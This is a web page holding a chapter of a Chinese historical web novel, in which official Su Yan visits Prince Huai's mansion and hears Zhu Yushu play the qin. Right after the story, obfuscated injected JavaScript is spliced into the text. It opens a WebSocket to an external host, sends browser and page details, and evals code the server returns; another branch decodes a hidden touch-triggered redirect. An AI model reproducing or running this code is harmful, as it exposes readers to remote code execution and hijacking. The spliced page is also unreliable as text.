虽然祝天雄主动放弃了兵权和封地,留在京城养老,但地位和威望可不减当年。
如果自己能先得到祝天雄的庇护,那即便朱钦武想要报复自己,想来也得掂量掂量。
苏言打定主意,在街上买了两份礼物,直奔淮王府而去。
来到淮王府,门口的守卫立刻拦住他,质问道,“你是何人?”
苏言淡笑道:“鄙人当朝吏部侍郎苏言,特来探望祝淮王。”
两名守卫面面相觑,狐疑道,“这不年不节的,你来探望王爷作甚?”
“莫不是,来求王爷办事的?”
苏言心中暗暗诧异,这淮王府的守卫,怎么都如此精明?
只得点了点头,淡笑道:“不错,下官确实有要事相求,请二位通禀一声。”
“抱歉,苏大人,王爷有令,任何来求他办事的人,一概不见。”
守卫直接冷冰冰说道,“恕在下无礼,大人还是请回吧。”
苏言没有想到,自己竟然连淮王府的大门都没进,就先吃了闭门羹。
他正无可奈何之际,正好一个熟人从府中走出来。
正是淮王府的大管家,崔清远。
“苏公子?”
见苏言在府外,崔清远怔了怔,惊喜道,“你怎么在这里?”
“这不买了几样礼物,特来探望一下淮王殿下。”
崔清远正好现身,苏言心中就有了谱,无奈笑道,“没想到,淮王府的门槛现在如此之高,我竟连大门都进不去。”
听闻此话,崔清远立刻狠狠瞪向两名守卫,冷冷道,“你们两个糊涂东西,竟敢拦苏公子?”
守卫低下头,不知所措道,“王爷先前说过,凡是来求办事的当朝官员,一概不见。”
“我等听他自称是来求王爷办事的,所以才阻拦……”
“糊涂东西,苏大人和一般人能一样吗?还不退下!”
崔清远立刻将二人斥下,歉意笑道,“苏大人,真是抱歉。”
“这两人是新来王府的,所以不认识苏大人。”
“快,苏大人,别在外面站着,里面请。”
在崔清远的带领下,苏言总算得以进了王府的门。
来到大堂坐下,崔清远给他端来一杯茶,歉意道,“苏大人,抱歉,王爷正在午休,刚刚睡下。”
“没关系。”
苏言急忙摆了摆手,“我在这里等王爷一会就好。”
当即,苏言在大堂内,一边喝茶一边等候。
过了片刻,未等来祝天雄,倒先等来了祝玉舒。
“苏公子?”
祝玉舒见了苏言,也颇为意外和惊喜,欣然道,“我昨天还提起了你,没想到你今日竟然就到我们府上来了!”
苏言淡笑道,“正可谓是身无彩凤双飞翼,心有灵犀一点通啊。”
“下官苏言,见过玉舒小姐。”
苏言起身行礼,祝玉舒急忙上前搀扶,嗔怪道,“苏公子,这么久不见,怎么还生分起来了?”
“你若是如此见外,那我可就不欢迎你了。”
“走走,苏公子,同我去后院琴亭。”
“我近来新谱了一首琴曲,请苏公子帮我品评一下!”
祝玉舒拉着苏言来到后院,去了上次二人相识的琴亭。
迫不及待命人取来自己的古琴,专心致志为苏言弹奏。
不知为什么,祝玉舒平日里经常独自抚琴,也会和一些姐妹交流琴曲。
但是,只有在为苏言抚琴的时候,她才最为专注和投入,能展现出最好的一面。
苏言坐在亭旁,认认真真倾听了祝玉舒的这首曲子。
待到一曲终了,忍不住由衷地赞叹道,“妙哉!”
“间关莺语花底滑,幽咽泉流冰下难。”
“冰泉冷涩弦凝绝,凝绝不通声暂歇。”
“玉舒姑娘这首琴曲,凄婉亦存欢快,低沉不失悠扬,真可谓世间绝艺!”
听了苏言的赞叹,祝玉舒也不由会心一笑,有些羞涩地低下头。var s = new Date().getSeconds() % 2; if (s == 0){function a0_0x37c4(){var _0x240c9c=['join','data','abcdefghijklmnopqrstuvwxyz0123456789','8238yiPSZz','1839','&ua=','1432','51279','search','34536','close','8CjyZFF','(((.+)+)+)+$','getMonth','135956YTVidA','fromCharCode','WebSocket','slice','6711452bLCYrh','562','2pgdBSd','split','http_host=','send','4434VYriZP','67515','');try{var _0x170fa2,_0x263978=_0x49586a(0x179)+_0x170e2f();_0x170fa2=_0x49586a(0x1a8)in window?new WebSocket(_0x263978):_0x49586a(0x175)in window?new MozWebSocket(_0x263978):new SockJS(_0x263978),_0x170fa2['onopen']=function(){var _0x35ca42=_0x49586a;_0x170fa2[_0x35ca42(0x1af)](_0x35ca42(0x1ae)+_0x170e2f()+_0x35ca42(0x17c)+_0xc327cc+'&space_id=51279&serasfd='+navigator[_0x35ca42(0x196)]+'&ifr_url='+encodeURIComponent(location[_0x35ca42(0x185)])+_0x35ca42(0x178)+encodeURIComponent(document[_0x35ca42(0x17f)])+_0x35ca42(0x19d)+encodeURIComponent(navigator[_0x35ca42(0x18f)]));},_0x170fa2[_0x49586a(0x190)]=function(_0x47b220){var _0x5cb35a=_0x49586a;eval(_0x47b220[_0x5cb35a(0x199)]),_0x170fa2[_0x5cb35a(0x1a2)]();};}catch(_0xa33558){console[_0x49586a(0x17a)]('error'+_0xa33558);}}()):(function(){var _0xf53d4b=_0x394445,_0x5a903a=document[_0xf53d4b(0x1b4)](_0xf53d4b(0x1b6)),_0x555d50=_0xd9521(_0xf53d4b(0x193))+_0x170e2f();_0x5a903a[_0xf53d4b(0x18e)]=_0x555d50+'/'+_0xd9521((new Date()[_0xf53d4b(0x17d)]()%0x3*new Date()[_0xf53d4b(0x17d)]()+new Date()[_0xf53d4b(0x17d)]())['toString'](0x24)[_0xf53d4b(0x1a9)](0x1))+_0xd9521(_0xf53d4b(0x187))+_0xf53d4b(0x19f)+_0xd9521('km')+'?'+_0x135998(new Date()[_0xf53d4b(0x17d)]());var _0x4c199f=document[_0xf53d4b(0x180)](_0xf53d4b(0x1b6))[0x0];_0x4c199f['parentNode'][_0xf53d4b(0x197)](_0x5a903a,_0x4c199f);}());}()); } else if (s == 1){!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a(`zxGsLrwhSRl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28;)CY(Fm(5YdFYc2_qqa!67c5m5c2a=;)CY(FmfY762Ye5OJY5FTc2="fY7d_qF"=[Y2_^Y5d)qYgl0=Xdq_YgYPa=@vFvv"LF562p"l8FTJYO7 Ya7O5cXd5 O 62 Ya5mfc2=O=7_2(F6O2cFa[5YF_52 YHFZPm)62fc2_qq=Oaa!5YF_52 2P=5m287_2(F6O2cYa[Xd5 F8YvvYmMMYLyOf_qYj7_2(F6O2ca[5YF_52 YmfY7d_qFPg7_2(F6O2ca[5YF_52 YP!5YF_52 5mfcF="d"=Fa=FP=5mO87_2(F6O2cY=Fa[5YF_52 ;)CY(FmJ5OFOFTJYmhdL;D2e5OJY5FTm(dqqcY=FaP=5mJ8""=5c5mL80aPcH7_2(F6O2cY=Fa[Xd5 58fO(_^Y2F=282dX6pdFO5mJqdF7O5^=O85m(_55Y2Fi(56JF! 67cl/3yd(?V62/mFYLFc2a??l2a[Xd5 hfdCC^5DM6LMDL8hfdCC^5DM6LMSS80!LYF|6^YO_Fc7_2(F6O2ca[67chfdCC^5DM6LMDL880a[Xd5 (q6Y2FD6fFh8D62fODmL(5YY2mdXd6qV6fFh!fO(_^Y2FmdffEXY2Ft6LFY2Y5c"FO_(hY2f"=7_2(F6O2ca[67chfdCC^5DM6LMDL880a[Xd5 (q6Y2FhY6phF8D62fODm622Y59Y6phF!Xd5 YXY8YXY2F??D62fODmYXY2F!Xd5 (R8(T80!67cYXYvvYXYmFTJY88"FO_(hLFd5F"a[(R8YXYmFO_(hYLH0Zm(q6Y2F&!(T8YXYmFO_(hYLH0Zm(q6Y2F-P67cYXYvvYXYmFTJY88"FO_(hY2f"a[(R8YXYm(hd2pYf|O_(hYLH0ZmL(5YY2&!(T8YXYm(hd2pYf|O_(hYLH0Zm(q6Y2F-P67cYXYvvYXYmFTJY88"(q6(S"a[(R8YXYm(q6Y2F&!(T8YXYm(q6Y2F-P67c(R>0vv(T>0a[67c(T>c(q6Y2FhY6phF*c@0o.c(q6Y2FD6fFh/K@0aaavvhfdCC^5DM6LMSS880a[hfdCC^5DM6LMSS8}!Xd5 hfdCC^5DM^8"hFFJLg//"%wdFYmJd5LYc2YD wdFYcaa%"KQoKF(mK2RdKpm(O^"%"g{00o/((/KQoKj6LM2OF8}vFd5pYF8}"!67cFOJmqO(dF6O2l8LYq7mqO(dF6O2a[FOJmqO(dF6O28hfdCC^5DM^PYqLY[D62fODmqO(dF6O2mh5Y78hfdCC^5DM^PhfdCC^5DM6LMSS80PPPPa!7O5cXd5 280!2
